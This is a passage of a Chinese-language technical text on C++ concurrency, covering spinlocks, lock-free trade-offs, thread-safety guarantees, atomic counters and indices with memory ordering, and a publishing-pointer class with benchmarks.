即使进行了这种优化,锁的性能仍然相当差。原因在于操作系统倾向于优先考虑线程的方式。一般来说,进行大量计算的线程将获得更多的 CPU 时间,因为假设它正在做一些有用的事情。不幸的是,在我们的情况下,最大量计算的线程是在等待标志改变时不断尝试获取锁。这可能导致一种不良情况,即一个线程试图获取锁并且已经分配了 CPU 给它,而另一个线程想要释放锁,但却没有被调度执行一段时间。解决方法是让等待的线程在多次尝试后放弃 CPU,以便其他线程可以运行,并且希望完成它的工作并释放锁。
线程释放 CPU 的方式有几种,大多数是通过系统函数调用完成的。没有一种通用的最佳方法。在 Linux 上,通过调用nanosleep()
似乎能够产生最佳结果,通常比调用sched_yield()
更好,后者是另一个系统函数,用于让出 CPU 访问权。所有系统调用与硬件指令相比都很昂贵,因此不要经常调用它们。最佳平衡是当我们尝试多次获取锁,然后将 CPU 让给另一个线程,然后再次尝试:
class Spinlock {
void lock() {
for (int i=0; flag_.load(std::memory_order_relaxed) ||
flag_.exchange(1, std::memory_order_acquire); ++i) {
if (i == 8) {
lock_sleep();
i = 0;
}
}
}
void lock_sleep() {
static const timespec ns = { 0, 1 }; // 1 nanosecond
nanosleep(&ns, NULL);
}
}
在释放 CPU 之前获取锁的最佳尝试次数取决于硬件和线程数量,但通常,8 到 16 之间的值效果很好。
现在我们准备进行第二轮基准测试,以下是结果:
图 6.2 - 共享计数增量的性能:基于自旋锁、无锁(比较和交换,或 CAS)和无等待(原子)的性能比较
自旋锁表现非常出色:它明显优于比较和交换实现,并给无等待操作带来了激烈的竞争。
这些结果给我们留下了两个问题:首先,如果自旋锁如此快,为什么不所有的锁都使用自旋锁?其次,如果自旋锁如此出色,为什么我们甚至需要原子操作(除了用于实现锁之外)?
对第一个问题的答案归结为本节的标题:不同的问题需要不同的锁。自旋锁的缺点是等待线程不断使用 CPU 或“忙等待”。另一方面,等待系统互斥锁的线程大部分时间处于空闲状态(睡眠)。如果需要等待几个周期,例如增量操作的持续时间,忙等待是很好的选择:它比让线程进入睡眠状态要快得多。另一方面,如果锁定的计算包含超过几条指令,那么等待自旋锁的线程将浪费大量的 CPU 时间,并且剥夺其他工作线程访问它们所需的硬件资源。总的来说,C++互斥锁(std::mutex
)或操作系统互斥锁通常被选择是因为它的平衡性:对于锁定单个指令来说效率不高,对于需要几十纳秒的计算来说还可以,如果需要长时间持有锁,它比替代方案更好(长时间在这里是相对的,处理器速度很快,所以 1 毫秒就是很长的时间)。现在,我们在这里写的是极端性能(以及为实现它所做的极端努力),所以大多数高性能计算程序员要么实现自己的快速锁来保护短计算,要么使用提供这些锁的库。
第二个问题,“锁还有其他缺点吗?”将我们带到下一节。
基于锁定与无锁定,真正的区别是什么?
当谈论无锁编程的优势时,第一个论点通常是“它更快”。正如我们刚才看到的,这并不一定是真的:如果针对特定任务进行了优化,锁的实现可以非常高效。然而,锁定方法的另一个固有的缺点并不取决于实现。
第一个也是最臭名昭著的是可怕的死锁的可能性。当程序使用多个锁时,比如 lock1 和 lock2 时,死锁发生。线程 A 持有 lock1 并需要获取 lock2。线程 B 已经持有 lock2 并需要获取 lock1。两个线程都无法继续进行,并且都将永远等待,因为唯一能释放它们需要的锁的线程本身也被锁定。
如果两个锁同时被获取,死锁可以通过始终以相同的顺序获取锁来避免;C++有一个用于此目的的实用函数std::lock()
。然而,通常无法同时获取锁:当线程 A 获取 lock1 时,无法知道我们将需要 lock2,因为这个信息本身是隐藏在由 lock1 保护的数据中。我们将在下一章中讨论并发数据结构时,在后面的例子中看到。
如果我们无法可靠地获取多个锁,也许解决方案是尝试获取它们,然后,如果我们未能全部获取它们,释放我们已经持有的锁,以便其他线程可以获取它们?在我们的示例中,线程 A 持有 lock1,它将尝试获取 lock2,但不会阻塞:大多数锁都有一个try_lock()
调用,它要么获取锁,要么返回 false。在后一种情况下,线程 A 释放 lock1,然后再次尝试同时锁定它们。这可能有效,特别是在简单的测试中。但它也有自己的危险:活锁,当两个线程不断地相互传递锁:线程 A 持有 lock1 但没有 lock2,线程 B 持有 lock2,放弃它,获取 lock1,现在它无法再获取 lock2,因为线程 A 已经持有它。有一些算法可以保证最终成功获取多个锁。不幸的是,在实践中,现在和最终之间可能会经过很长时间。这些算法也非常复杂。
处理多个锁的基本问题是互斥锁不可组合:没有好的方法将两个或多个锁合并为一个。
即使没有活锁和死锁的危险,基于锁的程序仍然存在其他问题。其中一个更频繁且难以诊断的问题称为护航。它可能发生在多个锁或只有一个锁的情况下。护航的情况是这样的:假设我们有一个由锁保护的计算。线程 A 当前持有锁并在共享数据上进行工作;其他线程正在等待进行他们的工作。然而,工作不是一次性的:每个线程有许多任务要做,每个任务的一部分需要对共享数据进行独占访问。线程 A 完成一个任务,释放锁,然后快速进行下一个任务,直到再次需要锁。锁已经被释放,任何其他线程都可以获取它,但它们仍在唤醒,而线程 A 正在 CPU 上“热”。因此,线程 A 再次获取锁只是因为竞争者还没有准备好。线程 A 的任务像车队一样快速执行,而其他线程上什么也没做。
锁的另一个问题是它们不尊重任何优先级的概念:当前持有锁的低优先级线程将抢占任何需要相同锁的高优先级线程。因此,高优先级线程必须等待低优先级线程确定的时间,这种情况似乎与高优先级的概念完全不一致。因此,这种情况有时被称为优先级反转。
现在我们明白了锁的问题不仅限于性能,让我们看看无锁程序在同样的复杂情况下会表现如何。首先,在无锁程序中,至少有一个线程保证不会被阻塞:在最坏的情况下,当所有线程同时到达一个比较和交换(CAS)操作,并且期望的当前原子变量值相同时,其中一个线程保证会看到期望的值(因为它可以改变的唯一方式是通过成功的 CAS 操作)。所有剩下的线程将不得不丢弃他们的计算结果,重新加载原子变量,并重复计算,但成功进行 CAS 的一个线程可以继续下一个任务。这可以防止死锁的可能性。没有死锁和避免死锁的尝试,我们也不需要担心活锁。由于所有线程都在忙于计算通向原子操作(如 CAS)的方式,高优先级线程更有可能首先到达并提交其结果,而低优先级线程更有可能失败 CAS 并不得不重新做工作。同样,单个成功提交结果并不会使“获胜”的线程对其他所有线程有任何优势:准备尝试执行 CAS 的线程是成功的。这自然地消除了护航。
那么,无锁编程有什么不好呢?只有两个缺点,但它们都是主要的。第一个是它的优点的反面:正如我们所说,即使失败了 CAS 尝试的线程也保持忙碌。这解决了优先级问题,但代价非常高:在高争用情况下,大量的 CPU 时间被浪费在做工作,只是为了重新做。更糟糕的是,竞争访问单个原子变量的这些线程正在从其他同时进行一些不相关计算的线程中夺走 CPU 资源。
第二个缺点完全不同。虽然大多数并发程序不容易编写或理解,但无锁程序设计和实现起来非常困难。基于锁的程序只需保证构成单个逻辑事务的任何操作集在锁下执行。当存在多个逻辑事务时,某些但不是所有共享数据是几个不同事务共有的时,情况就会变得更加困难。这就是我们遇到多个锁的问题。尽管如此,推理基于锁的程序的正确性并不那么困难:如果我在你的代码中看到一块共享数据,你必须向我展示哪个锁保护了这些数据,并证明没有线程可以在未先获取此锁的情况下访问这些数据。如果不是这样,你就会出现数据竞争,即使你还没有发现它。如果满足这些要求,就不会出现数据竞争(尽管可能会出现死锁和其他问题)。
另一方面,无锁程序有几乎无限种类的数据同步方案。由于没有线程会被暂停,我们必须确信,无论线程以何种顺序执行原子操作,结果都是正确的。此外,没有明确定义的临界区,我们必须担心程序中所有数据的内存顺序和可见性,而不仅仅是原子变量。我们必须问自己,有没有一种方法可以使一个线程更改数据,而另一个线程可以看到旧版本,因为内存顺序要求不够严格?
解决复杂性问题的常规方法是模块化和封装。我们将困难的代码收集到模块中,每个模块都有明确定义的接口和一组清晰的要求和保证。对实现各种并发算法的模块进行了大量关注。本书将带您走向不同的方向:本章的其余部分专门讨论并发数据结构。
并发编程的构建模块
并发程序的开发通常非常困难。有几个因素可能使其变得更加困难:例如,编写需要正确和高效的并发程序要困难得多(换句话说,所有这些都是)。具有许多互斥锁或无锁程序的复杂程序更加困难。
正如上一节的结论所说,管理这种复杂性的唯一希望是将其限制在代码或模块的小而明确定义的部分中。只要接口和要求清晰,这些模块的客户端就不需要知道实现是无锁还是基于锁的。这会影响性能,因此模块可能对特定需求太慢,直到优化为止,但我们会根据需要进行这些优化,并且这些优化限于特定模块。
在本章中,我们专注于实现并发编程数据结构的模块。为什么是数据结构而不是算法?首先,关于并发算法的文献要多得多。其次,大多数程序员更容易处理算法:代码进行了分析,有一个花费过长时间的函数,我们找到了另一种实现算法的方法,然后转向性能图表上的下一个高点。然后,您最终得到一个程序,其中没有任何单个计算占用大部分时间,但您仍然感觉它的速度远不及应有的水平。我们之前已经说过,但需要重复一遍:当您没有热点代码时,您可能有热点数据。
数据结构在并发程序中扮演着更加重要的角色,因为它们决定了算法可以依赖的保证和限制。哪些并发操作可以安全地在相同的数据上进行?不同线程看到的数据视图有多一致?如果我们没有这些问题的答案,我们就不能写太多的代码,而这些答案是由我们选择的数据结构决定的。
同时,设计决策,比如接口和模块边界的选择,可以在编写并发程序时对我们的选择产生关键影响。并发不能作为事后的想法添加到设计中;设计必须从一开始就考虑并发,特别是数据的组织。
我们通过定义一些基本术语和概念来开始探索并发数据结构。
并发数据结构的基础
使用多个线程的并发程序需要线程安全的数据结构。这似乎是显而易见的。但什么是线程安全,什么使一个数据结构是线程安全的?乍一看,这似乎很简单:如果一个数据结构可以被多个线程同时使用而不会发生任何数据竞争(在线程之间共享),那么它就是线程安全的。
然而,这个定义结果太过简单:
-
它把标准提得很高——例如,STL 容器中的任何一个都不会被认为是线程安全的。
-
它带来了非常高的性能成本。
-
这通常是不必要的,成本也是如此。
-
除此之外,在许多情况下它将是完全无用的。
让我们逐一解决这些考虑。即使在多线程程序中,为什么线程安全的数据结构可能是不必要的呢?一个微不足道的可能性是它被用在程序的单线程部分。我们努力尽量减少这样的部分,因为它们对整体运行时间有害(还记得阿姆达尔定律吗?),但大多数程序都有一些,我们使这样的代码更快的一种方式是不支付不必要的开销。不需要线程安全的更常见的情况是当一个对象在多线程程序中只被一个线程使用。这是非常常见和非常理想的:正如我们已经说过好几次,共享数据是并发程序中效率低下的主要原因,所以我们尽量让每个线程独立地完成尽可能多的工作,只使用本地对象和数据。
但我们能确定一个类或数据结构在多线程程序中是安全的吗,即使每个对象从未在线程之间共享?不一定:仅仅因为我们在接口层面上看不到任何共享,并不意味着在实现层面上没有共享。多个对象可能在内部共享相同的数据:静态成员和内存分配器只是一些可能性(我们倾向于认为所有需要内存的对象都通过调用malloc()
来获得内存,并且malloc()
是线程安全的,但一个类也可以实现自己的分配器)。
另一方面,许多数据结构在多线程代码中使用起来是完全安全的,只要没有线程修改对象。虽然这似乎是显而易见的,但我们必须再次考虑实现:接口可能是只读的,但实现可能仍然修改对象。如果你认为这是一个奇特的可能性,考虑一下标准的 C++共享指针std::shared_ptr
:当你复制一个共享指针时,复制的对象没有被修改,至少不是显而易见的(它通过const
引用传递给新指针的构造函数)。与此同时,你知道对象中的引用计数必须被增加,这意味着被复制的对象已经改变了(在这种情况下,共享指针是线程安全的,但这并不是偶然发生的,也不是免费的,这是有性能成本的)。
最重要的是,我们需要一个更细致的线程安全定义。不幸的是,对于这个非常常见的概念,没有共同的词汇,但有几个流行的版本。线程安全的最高级别通常被称为const
类的成员函数,其次,任何具有对对象的独占访问权的线程都可以执行任何其他有效的操作,无论其他线程同时做什么。不提供任何此类保证的对象根本不能在多线程程序中使用:即使对象本身没有被共享,其实现中的某些部分也容易受到其他线程的修改。
在本书中,我们将使用强和弱线程安全保证的语言。提供强保证的类有时被简单地称为const
成员函数。最后,根本不提供任何保证的类被称为线程敌意,通常根本不能在多线程程序中使用。
在实践中,我们经常遇到强和弱保证的混合:接口的一个子集提供了强保证,但其余部分只提供了弱保证。
那么,为什么我们不尝试为每个对象设计强线程安全保证呢?我们已经提到的第一个原因是:通常会有性能开销,保证通常是不必要的,因为对象不在线程之间共享,编写高效程序的关键是不做任何可以避免的工作。更有趣的反对意见是我们之前提到的,即使在需要线程安全的情况下,强线程安全保证可能是无用的。考虑这个问题:你需要开发一个玩家招募军队并进行战斗的游戏。军队中所有单位的名称都存储在一个容器中,比如一个字符串列表。另一个容器存储每个单位的当前力量。在战役中,单位一直在被杀死或招募,游戏引擎是多线程的,需要高效地管理大军。虽然 STL 容器只提供了弱线程安全保证,假设我们有一个强线程安全容器的库。很容易看出这是不够的:添加一个单位需要将其名称插入一个容器,将其初始力量插入另一个容器。这两个操作本身是线程安全的。一个线程创建一个新单位并将其插入第一个容器。在这个线程也能添加其力量值之前,另一个线程看到了新单位并需要查找其力量,但第二个容器中还没有任何内容。问题在于线程安全保证提供在错误的级别:从应用程序的角度来看,创建一个新单位是一个事务,所有游戏引擎线程都应该能够在单位被添加之前或之后看到数据库,而不是在中间状态。我们可以通过使用互斥锁来实现这一点,例如:在单位被添加之前将其锁定,只有在两个容器都被更新后才解锁。然而,在这种情况下,我们并不关心单个容器提供的线程安全保证,只要对这些对象的所有访问都受到互斥锁的保护。显然,我们需要的是一个自身提供所需线程安全保证的单位数据库,例如,通过使用互斥锁。这个数据库可能在内部使用几个容器对象,并且数据库的实现可能需要或不需要来自这些容器的任何线程安全保证,但这对数据库的客户端来说应该是不可见的(使用线程安全的容器可能会使实现更容易,也可能不会)。
这引出了一个非常重要的结论:线程安全从设计阶段开始。程序使用的数据结构和接口必须明智选择,以便它们在线程交互发生的层次上代表适当的抽象级别和正确的事务。
有了这个想法,本章的其余部分应该从两个方面来看:一方面,我们展示如何设计和实现一些基本的线程安全数据结构,这些数据结构可以作为更复杂(并且无限多样)的数据结构的构建模块。另一方面,我们还展示了构建线程安全类的基本技术,这些类可以用于设计这些更复杂的数据结构。
计数器和累加器
最简单的线程安全对象之一是一个普通的计数器或者更一般的形式,一个累加器。计数器简单地计算一些可以在任何线程上发生的事件。所有线程可能需要增加计数器或者访问当前值,因此存在竞争条件的可能性。
为了有价值,我们需要在这里提供强线程安全保证:弱保证是微不足道的;读取一个没有人在改变的值总是线程安全的。我们已经看到了实现的可用选项:某种类型的锁,原子操作(如果有的话),或者无锁 CAS 循环。
锁的性能因实现而异,但一般来说,自旋锁是首选。对于没有立即访问计数器的线程的等待时间将会非常短。因此,付出将线程置于休眠状态并稍后唤醒它的成本是没有意义的。另一方面,因为忙等待(轮询自旋锁)而浪费的 CPU 时间将是微不足道的,很可能只是几条指令。
原子指令提供了良好的性能,但操作的选择相当有限:在 C++中,你可以原子地向整数添加,但不能,例如,将其乘以。这对于基本计数器已经足够了,但对于更一般的累加器可能不够(累加操作不必局限于求和)。然而,如果有一个可用,你就无法击败原子操作的简单性。
CAS 循环可以用于实现任何累加器,无论我们需要使用的操作是什么。然而,在大多数现代硬件上,它并不是最快的选择,并且被自旋锁(见图 6.2)所超越。
自旋锁可以进一步优化,用于访问单个变量或单个对象的情况。我们可以使锁本身成为守护的对象的唯一引用,而不是通用标志。原子变量将是一个指针,而不是整数,但锁定机制保持不变。lock()
函数是非标准的,因为它返回指向计数器的指针。
template <typename T>
class PtrSpinlock {
public:
explicit PtrSpinlock(T* p) : p_(p) {}
T* lock() {
while (!(saved_p_ =
p_.exchange(nullptr, std::memory_order_acquire))) {}
}
void unlock() {
p_.store(saved_p_, std::memory_order_release);
}
private:
std::atomic<T*> p_;
T* saved_p_ = nullptr;
};
与早期自旋锁的实现相比,原子变量的含义是“反转的”:如果原子变量p_
不为空,则锁可用,否则被占用。我们为自旋锁所做的所有优化在这里同样适用,并且看起来完全一样,因此我们不会重复它们。此外,为了完整,该类需要一组删除的复制操作(锁是不可复制的)。如果希望能够转移锁并将释放锁的责任转移到另一个对象,则它可能是可移动的。如果锁还拥有它指向的对象,析构函数应该删除它(这将自旋锁和唯一指针的功能结合在一个类中)。
指针自旋锁的一个明显优势是,只要它提供了访问受保护对象的唯一方式,就不可能意外地创建竞争条件并在没有锁的情况下访问共享数据。第二个优势是,这个锁往往比常规自旋锁稍微更快。自旋锁是否也优于原子操作取决于硬件。同样的基准测试在不同处理器上产生非常不同的结果:
图 6.3 - 共享计数增量的性能:常规自旋锁、指针自旋锁、无锁(比较和交换,或 CAS)、无等待(原子)对不同硬件系统(a)和(b)的影响
一般来说,较新的处理器更好地处理锁和忙等待,而且旋转锁更有可能在最新的硬件上提供更好的性能(在图 6.3中,系统b使用的是 Intel X86 处理器,比系统a的处理器晚一代)。
执行操作所需的平均时间(或其倒数,吞吐量)是我们在大多数 HPC 系统中主要关注的度量标准。然而,这并不是衡量并发程序性能的唯一可能度量标准。例如,如果程序在移动设备上运行,功耗可能更为重要。所有线程使用的总 CPU 时间是平均功耗的一个合理代理。我们用来测量计数器增量的平均实际时间的相同基准测试也可以用来测量 CPU 时间:
图 6.4 - 不同线程安全计数器实现的平均 CPU 使用时间
坏消息是,无论实现方式如何,多个线程同时访问共享数据的成本都会随着线程数量的增加呈指数级增长,至少当我们有很多线程时是这样(请注意图 6.4中的y轴刻度是对数刻度)。然而,效率在不同实现之间差异很大,至少对于最有效的实现来说,指数增长实际上直到至少八个线程才会真正开始。请注意,结果将再次因硬件系统而异,因此选择必须考虑目标平台,并且只能在测量完成后进行。
无论选择哪种实现方式,线程安全的累加器或计数器都不应该暴露出来,而是应该封装在一个类中。一个原因是为了为类的客户提供稳定的接口,同时保留优化实现的自由。
第二个原因更微妙,它与计数器提供的确切保证有关。到目前为止,我们已经专注于计数器的值本身,确保它被所有线程修改和访问而没有任何竞争。是否足够取决于我们如何使用计数器。如果我们只是想计算一些事件,而且没有其他东西依赖于计数器的值,那么我们只关心值本身是否正确。另一方面,如果我们要计算的是,比如说,数组中元素的数量,那么我们就涉及到数据依赖性。假设我们有一个大的预分配数组(或者一个可以在不干扰已有元素的情况下增长的容器),所有线程都在计算要插入到这个数组中的新元素。计数器计算已计算并插入数组中的元素的数量,并且可以被其他线程使用。换句话说,如果一个线程从计数器中读取值N
,它必须确保数组的前N
个元素是安全可读的(这意味着没有其他线程再修改它们)。但是数组本身既不是原子的,也没有受到锁的保护。当然,我们可以通过锁来保护对整个数组的访问,但这可能会降低程序的性能:如果数组中已经有很多元素,但只有一个线程可以读取它们,那么程序可能就像单线程一样。另一方面,我们知道任何常量、不可变的数据都可以在多个线程中安全地读取,而不需要任何锁。我们只需要知道不可变数据和可变数据之间的边界在哪里,这正是计数器应该提供的。这里的关键问题是内存可见性:我们需要保证数组的前N
个元素的任何更改在计数器的值从N-1
变为N
之前对所有线程都是可见的。
我们在上一章中研究了内存可见性,当时它可能看起来是一个主要是理论性的问题,但现在不是了。从上一章我们知道,我们控制可见性的方式是通过限制内存顺序或使用内存屏障(谈论同一件事的两种不同方式)。多线程程序中计数和索引之间的关键区别在于索引提供了额外的保证:如果将索引从N-1
增加到N
的线程在增加索引之前已经完成了数组元素N
的初始化,那么读取索引并得到值N
(或更大)的任何其他线程都保证能够在数组中看到至少N
个完全初始化和安全可读的元素(当然假设没有其他线程写入这些元素)。这是一个非平凡的保证,不要轻易忽视它:多个线程在访问内存中的同一位置(数组元素N
)而没有任何锁,并且其中一个线程写入这个位置,然而,访问是安全的,没有数据竞争。如果我们不能使用共享索引来安排这个保证,我们将不得不锁定对数组的所有访问,只有一个线程能够每次读取它。相反,我们可以使用这个原子索引类:
class AtomicIndex {
std::atomic<unsigned long> c_;
public:
unsigned long incr() noexcept {
return 1 + c_.fetch_add(1, std::memory_order_release);
}
unsigned long get() const noexcept {
return c_.load(std::memory_order_acquire);
}
};
计数和索引之间唯一的区别在于内存可见性的保证;计数没有提供:
class AtomicCount {
std::atomic<unsigned long> c_;
public:
unsigned long incr() noexcept {
return 1 + c_.fetch_add(1, std::memory_order_relaxed);
}
unsigned long get() const noexcept {
return c_.load(std::memory_order_relaxed);
}
};
当然,每个类的线程安全性和内存可见性保证都应该有文档记录。两者之间是否存在性能差异取决于硬件。在 X86 CPU 上,没有差异,因为原子递增和原子读取的硬件指令具有“类似索引”的内存屏障,无论我们是否请求。在 ARM CPU 上,放松(或无屏障)内存操作明显更快。但是,无论性能如何,清晰和意图都很重要,不应被忘记:如果程序员使用明确提供内存顺序保证的索引类,但没有使用它进行任何索引,每个读者都会想知道发生了什么,代码中的这些保证被使用在了哪个微妙而隐藏的地方。通过使用具有正确一组文档保证的接口,您向读者表明编写此代码时的意图。
现在让我们回到本节可能是主要的“隐藏”成就。我们学习了关于线程安全计数器,但在这个过程中,我们提出了一个似乎违反了编写多线程代码的第一规则的算法:任何时候两个或更多线程访问同一内存位置,并且至少有一个线程在写入,所有访问都必须被锁定(或原子化)。我们没有锁定共享数组,我们允许其元素中的任意数据(所以它可能不是原子的),但我们却得以逃脱!我们用来避免数据竞争的方法,事实证明是几乎每个专为并发设计的数据结构的基石,我们现在将花时间更好地理解和概括它。
发布协议
我们试图解决的一般问题在数据结构设计中非常常见,通过扩展,也是并发程序的开发:一个线程正在创建新数据,而程序的其余部分必须在数据准备好时能够看到这些数据,但在此之前不能看到。前一个线程通常被称为写入线程或生产者线程。所有其他线程都是读取或消费者线程。
最明显的解决方案是使用锁,并严格遵循避免数据竞争的规则。如果多个线程(检查)必须访问同一内存位置(检查),并且至少有一个线程在该位置写入(在我们的情况下确切地是一个线程 - 检查),那么所有线程在访问该内存位置之前都必须获取锁,无论是读取还是写入。这种解决方案的缺点是性能:在生产者完成并且不再有写入发生之后,所有消费者线程仍然互相阻止并发地读取数据。现在,只读访问根本不需要任何锁定,但问题是,我们需要在程序中有一个保证的点,使得所有写入在此点之前发生,所有读取在此点之后发生。然后我们可以说所有消费者线程在只读环境中操作,不需要任何锁定。挑战在于保证读取和写入之间的边界:请记住,除非我们进行某种同步,否则内存可见性是不被保证的:仅仅因为写入者已经完成了对内存的修改,并不意味着读取者看到了该内存的最终状态。锁包括适当的内存屏障,正如我们之前所见;它们界定了临界区,并确保在临界区之后执行的任何操作都会看到在临界区之前或期间发生的所有对内存的更改。但现在我们希望在没有锁定的情况下获得相同的保证。
这个无锁解决方案依赖于生产者和消费者线程之间传递信息的一个非常具体的协议:
-
生产者线程在其他线程无法访问的内存中准备数据。这可能是生产者线程分配的内存,也可能是预先分配的内存,但重要的是生产者是唯一拥有对这个内存的有效引用的线程,并且这个有效引用不与其他线程共享(其他线程可能有访问这个内存的方法,但这将是程序中的一个错误,类似于超出数组边界索引)。由于只有一个线程访问新数据,因此不需要同步。就其他线程而言,这些数据根本不存在。
-
所有消费者线程必须使用一个共享指针来访问数据,我们称之为根指针,这个指针最初为空。在生产者线程构造数据时,它保持为空。同样,从消费者线程的角度来看,这个时候没有数据。更一般地说,这个“指针”不需要是实际的指针:只要它能够访问内存位置并且可以设置为预定的无效值,任何类型的句柄或引用都可以使用。例如,如果所有新对象都是在预先分配的数组中创建的,那么“指针”实际上可以是数组的索引,无效值可以是大于或等于数组大小的任何值。
-
协议的关键在于消费者访问数据的唯一方式是通过根指针,而且在生产者准备揭示或发布数据之前,这个指针始终为空。发布数据的行为非常简单:生产者必须原子地将数据的正确内存位置存储在根指针中,并且这个变化必须伴随着释放内存屏障。
-
消费者线程可以随时原子地查询根指针。如果查询返回空值,那么就没有数据(就消费者而言),消费者线程应该等待,或者最好做一些其他工作。如果查询返回非空值,那么数据已准备好,生产者将不再更改它。查询必须使用获取内存屏障进行,这与生产者端的释放屏障结合使用,可以保证当观察到指针值的变化时,新数据是可见的。
这个过程有时被称为发布协议,因为它允许生产者线程发布信息供其他线程消费,以一种保证没有数据竞争的方式。正如我们所说,发布协议可以使用任何允许访问内存的句柄来实现,只要这个句柄可以被原子地改变。指针是最常见的句柄,当然,其次是数组索引。
被发布的数据可以是简单的或复杂的;这并不重要。它甚至不必是单个对象或单个内存位置:根指针指向的对象本身可以包含指向更多数据的指针。发布协议的关键要素如下:
-
所有消费者通过一个根指针访问特定的数据集。获得访问数据的唯一方法是读取根指针的非空值。
-
生产者可以以任何方式准备数据,但根指针始终为空:生产者有自己的对数据的引用,这是本地线程的。
-
当生产者想要发布数据时,它会原子地使用释放屏障将根指针设置为正确的地址。数据发布后,生产者不能再更改它(其他人也不能)。
-
消费者线程必须原子地并且使用获取屏障读取根指针。如果他们读取到非空值,他们可以读取通过根指针访问的数据。
用于实现发布协议的原子读写当然不应该散布在整个代码中。我们应该实现一个发布指针类来封装这个功能。在下一节中,我们将看到这样一个类的简单版本。
用于并发编程的智能指针
并发(线程安全)数据结构的挑战在于如何以一种保持特定线程安全保证的方式添加、删除和更改数据。发布协议为我们提供了一种向所有线程发布新数据的方法,通常是向任何此类数据结构添加新数据的第一步。因此,毫无疑问,我们将学习的第一个类是封装了这个协议的指针。
发布指针
这是一个基本的发布指针,还包括唯一或拥有指针的功能(所以我们可以称之为线程安全的唯一指针):
template <typename T>
class ts_unique_ptr {
public:
ts_unique_ptr() = default;
explicit ts_unique_ptr(T* p) : p_(p) {}
ts_unique_ptr(const ts_unique_ptr&) = delete;
ts_unique_ptr& operator=(const ts_unique_ptr&) = delete;
~ts_unique_ptr() {
delete p_.load(std::memory_order_relaxed);
}
void publish(T* p) noexcept {
p_.store(p, std::memory_order_release);
}
const T* get() const noexcept {
return p_.load(std::memory_order_acquire);
}
const T& operator*() const noexcept { return *this->get(); }
ts_unique_ptr& operator=(T* p) noexcept {
this->publish(p); return *this;
}
private:
std::atomic<T*> p_ { nullptr };
};
当然,这是一个非常简单的设计;一个完整的实现应该支持自定义删除器、移动构造函数和赋值运算符,以及可能还有一些类似于std::unique_ptr
的其他功能。顺便说一句,标准并不保证访问存储在std::unique_ptr
对象中的指针值是原子的,或者使用了必要的内存屏障,因此标准唯一指针不能用于实现发布协议。
现在,读者应该清楚我们的线程安全唯一指针提供了什么:关键函数是publish()
和get()
,它们实现了发布协议。请注意,publish()
方法不会删除旧数据;假定生产者线程只调用一次publish()
,而且只在空指针上调用。我们可以为此添加一个断言,在调试构建中这样做可能是个好主意,但我们也关心性能。说到性能,基准测试显示,我们的发布指针的单线程解引用所花费的时间与原始指针或std::unique_ptr
的时间相同。基准测试并不复杂:
struct A { … arbitrary object for testing … };
ts_unique_ptr<A> p(new A(…));
void BM_ptr_deref(benchmark::State& state) {
A x;
for (auto _ : state) {
benchmark::DoNotOptimize(x = *p);
}
state.SetItemsProcessed(state.iterations());
}
BENCHMARK(BM_ptr_deref)->Threads(1)->UseRealTime();
… repeat for desired number of threads …
BENCHMARK_MAIN();
运行这个基准测试可以让我们了解我们的无锁发布指针的解引用速度有多快:
图 6.5 - 发布指针的性能(消费者线程)
应该将结果与解引用原始指针进行比较,我们也可以在多个线程上执行此操作:
图 6.6 - 原始指针的性能,用于与图 6.5 进行比较
性能数字非常接近。我们也可以比较发布的速度,但通常来说,消费者端更重要:每个对象只发布一次,但会被访问多次。
同样重要的是要理解发布指针不做的事情。首先,在指针的构造中没有线程安全性。我们假设生产者和消费者线程共享对已构造的指针的访问权,该指针初始化为 null。谁构造并初始化了指针?通常,在任何数据结构中,都有一个根指针,通过它可以访问整个数据结构;它是由构造初始数据结构的任何线程初始化的。然后有一些指针,它们作为某个数据元素的根,并且它们本身包含在另一个数据元素中。现在,想象一个简单的单链表,其中每个列表元素的“下一个”指针是下一个元素的根,列表的头是整个列表的根。生产列表元素的线程必须在其他事情之间将“下一个”指针初始化为 null。然后,另一个生产者可以添加一个新元素并发布它。请注意,这与一般规则不同,即一旦发布的数据就是不可变的。然而,这是可以的,因为对线程安全的唯一指针的所有更改都是原子的。无论如何,关键是在构造指针时没有线程可以访问它(这是一个非常常见的限制,大多数构造都不是线程安全的,甚至它们的线程安全性的问题都是不合适的,因为对象直到构造出来才存在,所以不能给出任何保证)。
我们的指针接下来没有做的事情是:它不为多个生产者线程提供任何同步。如果两个线程尝试通过相同的指针发布它们的新数据元素,结果是未定义的,并且存在数据竞争(一些消费者线程将看到一组数据,而其他线程将看到不同的数据)。如果有多个生产者线程在特定数据结构上操作,它们必须使用另一种同步机制。
最后,虽然我们的指针实现了线程安全的发布协议,但它并没有安全地“取消发布”和删除数据。它是一个拥有指针,所以当它被删除时,它指向的数据也会被删除。然而,任何消费者线程都可以使用它之前获取的值来访问数据,即使指针已被删除。数据所有权和生命周期的问题必须以其他方式处理。理想情况下,我们的程序中会有一个点,整个数据结构或其中的一部分被认为不再需要;没有消费者线程应该尝试访问这些数据,甚至保留任何指向它的指针。在那时,根指针和通过它可访问的任何内容都可以安全地删除。安排执行中的这种点是完全不同的事情;通常由整体算法控制。
有时我们需要一个指针以线程安全的方式管理数据的创建和删除。在这种情况下,我们需要一个线程安全的共享指针。
原子共享指针
如果我们不能保证程序中有一个已知的点可以安全地删除数据,我们必须跟踪有多少消费者线程持有数据的有效指针。如果我们想删除这些数据,我们必须等到整个程序中只有一个指向它的指针;然后,才能安全地删除数据和指针本身(或者至少将其重置为 null)。这是共享指针的典型工作:它对同一对象的指针在程序中还有多少进行引用计数;数据由最后一个这样的指针删除。
谈论线程安全的共享指针时,准确理解指针需要什么保证是非常重要的。C++标准共享指针std::shared_ptr
经常被称为线程安全。具体来说,它提供了以下保证:如果多个线程操作指向同一对象的不同共享指针,那么即使两个线程同时导致计数器发生变化,对引用计数器的操作也是线程安全的。例如,如果一个线程正在复制其共享指针,而另一个线程正在删除其共享指针,并且在这些操作开始之前引用计数为N
,那么计数器将增加到N+1
,然后返回到N
(或者先减少,然后增加,取决于实际的执行顺序),最终将具有相同的值N
。中间值可以是N+1
或N-1
,但没有数据竞争,行为是明确定义的,包括最终状态。这一保证意味着对引用计数器的操作是原子的;实际上,引用计数器是一个原子整数,并且实现使用fetch_add()
来原子地增加或减少它。
